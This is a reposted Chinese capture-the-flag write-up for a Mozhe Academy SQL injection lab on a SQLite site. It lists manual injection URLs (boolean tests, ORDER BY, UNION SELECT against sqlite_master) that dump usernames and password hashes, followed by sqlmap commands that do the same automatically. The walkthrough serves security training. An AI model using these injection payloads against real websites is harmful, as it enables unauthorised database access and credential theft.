墨者学院 - SQL手工注入漏洞测试(SQLite数据库)

本题有两种解法,一种是手动注入,还有一种当然是使用sqlmap啦
先讲解手工注入吧
测试网站是否有注入漏洞

http://219.153.49.228:40561/new_list.php?id=1 and 1=1 页面正常
http://219.153.49.228:40561/new_list.php?id=1 and 1=2  页面报错,说明存在注入漏洞

通过order by查询到注入界面返回的数据列数为4

http://219.153.49.228:40561/new_list.php?id=1 order by 1 
http://219.153.49.228:40561/new_list.php?id=1 order by 2
http://219.153.49.228:40561/new_list.php?id=1 order by 3
http://219.153.49.228:40561/new_list.php?id=1 order by 4 
http://219.153.49.228:40561/new_list.php?id=1 order by 5

《墨者学院 - SQL手工注入漏洞测试(SQLite数据库)》 image.png

第2列是标题,3是内容

http://219.153.49.228:40561/new_list.php?id=1 union select 1,2,3,4

《墨者学院 - SQL手工注入漏洞测试(SQLite数据库)》 image.png

查询当前数据库的名字

http://219.153.49.228:40561/new_list.php?id=1 union select 1,name,3,4 from sqlite_master where type='table' limit 1 offset 0

查询表的所有字段

http://219.153.49.228:40561/new_list.php?id=1 union select 1,sql,3,4 from sqlite_master where type='table' and name='WSTMart_reg'

查询用户名密码

http://219.153.49.228:40561/new_list.php?id=1 union select 1,name,password,4 from WSTMart_reg limit 1 offset 0

《墨者学院 - SQL手工注入漏洞测试(SQLite数据库)》 image.png

用md5解密即可获取key

下面使用sqlmap注入

查询网站的基本信息
sqlmap.py -u "http://219.153.49.228:46080/new_list.php?id=1"
获取当前的数据库
sqlmap.py -u "http://219.153.49.228:46080/new_list.php?id=1" --tables
获取库中的表
sqlmap.py -u "http://219.153.49.228:46080/new_list.php?id=1" -T WSTMart_reg --columns
获取用户名和密码
sqlmap.py -u "http://219.153.49.228:46080/new_list.php?id=1" -T WSTMart_reg --dump
    原文作者:Dear丶小贱
    原文地址: https://www.jianshu.com/p/c8dc246cf555
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞